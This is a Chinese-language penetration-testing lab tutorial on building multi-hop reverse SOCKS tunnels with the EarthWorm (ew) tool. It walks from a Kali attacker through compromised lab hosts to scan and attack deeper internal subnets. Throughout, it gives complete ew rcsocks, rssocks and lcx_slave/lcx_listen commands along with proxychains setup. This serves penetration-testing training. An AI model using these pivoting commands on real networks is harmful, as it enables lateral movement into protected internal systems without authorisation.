kali:192.168.1.128
第一层靶机A:192.168.1.166 内网 192.168.52.10
第二层靶机B:192.168.52.20 三层 内网 192.168.93.10
第二层靶机C:192.168.52.30 三层 内网 192.168.93.20
靶机D:192.168.93.30
靶机E:192.168.93.40
因为只是为了练习ew代理搭建,所以是直接使用密码登录靶机操作,其实跟你渗透测试拿到权限之后操作是一样的啦。
前提知识ew参数:
ssocks:用于普通的网络环境的正向连接
rcsocks:用于反弹连接
rssocks:用于反弹连接
lcx_slave、lcx_listen、lcx_tran用于复杂网络的多级级联
-l 指定要监听的本地端口
-d 指定要反弹到的主机ip
-e 指定要反弹到的主机端口
-f 指定要主动连接的主机ip //一般都为上一层的出网ip
-g 指定要主动连接的主机端口
-t 指定超长时间,默认1000
1.下载ew代理工具,赋予执行权限
git clone https://github.com/idlefire/ew.git
cd ew
chmod +x *
2.第一层靶机是有1的网段跟我们kali攻击机进行通信的,我们登录靶机一、进行我们的工具上传,然后我们还需要对我们kali的sock5进行配置,这样修改之后proxychains启动的软件都会通过kali的1080端口出去:
vim /etc/proxychains4.conf
3.使用ew代理工具开启一个反向代理,连接第一层靶机,kali上面执行,监听自己本地的1080端口并转发到本地6004端口
./ew_for_linux64 -s rcsocks -l 1080 -e 6004 -t 1000000
4.通过密码登录第一层靶机开启ew代理,并反弹到kali的6004端口,如果建立成功,在kali段会看到OK!主机A执行
setsid ./ew_for_linux64 -s rssocks -d 192.168.1.128 -e 6004 -t 1000000
可以看到已经建立成功了,这时候我们就可以proxychains打开nmap工具对第二层网络52段进行ip扫描或者利用攻击了
在我们通过漏洞拿下了主机A和B,主机A没有公网ip且不能访问内网资源,B主机可以访问内网资源,并且主机A可以访问主机B。
我们首先在kali攻击机上添加转接隧道
./ew_for_linux64 -s rcsocks -l 1080 -e 6004 -t 1000000
接着在一层主机A上面使用lcx_slave的方式,将kali的6004端口连接起来,并跟自己本地6005绑定起来
setsid ./ew_for_linux64 -s lcx_slave -d 192.168.1.128 -e 6004 -f 127.0.0.1 -g 6005 -t 100000
接着A主机执行第二条命令,监听6005端口收到的来自6007的信息
setsid ./ew_for_linux64 -s lcx_listen -l 6005 -e 6007 -t 1000000
接着在主机B搭建sock5代理隧道,并将该代理反弹到第一台主机A的52网段的6007端口,主机A相当于中间人,为主机B和kali之间的通信通过端口进行转发,
setsid ./ew_for_linux64 -s rssocks -d 192.168.52.10 -e 6007 -t 1000000
此时kali就可以通过proxychains工具打开nmap对52网段进行扫描了,或者浏览器配置sock代理,进行52网段访问了
kali机命令不变还是建立rcsocks反向代理,主机A使用命令将kali的6004端口转发给第二层的主机C的6005端口,然后在主机C启动sock服务,并反弹到C主机的6005端口即可了。当然这里主机A转发给主机B也是同样的道理。
kali机监听本地1080端口并转发给本地端口6004:
./ew_for_linux64 -s rcsocks -l 1080 -e 6004 -t 1000000
主机A将kali主机的6004端口和内网主机C的6005端口进行连接起来:
setsid ./ew_for_linux64 -s lcx_slave -d 192.168.1.128 -e 6004 -f 192.168.52.30 -g 6005 -t 100000
再到主机C开启sock服务并反弹到主机C的6005端口
ew_for_Win.exe -s ssocksd -l 6005
可以看到连接成功,现在kali可以使用proxychains工具打开其他nmap工具对93网段进行扫描攻击了。
还可以打开靶机E的远程桌面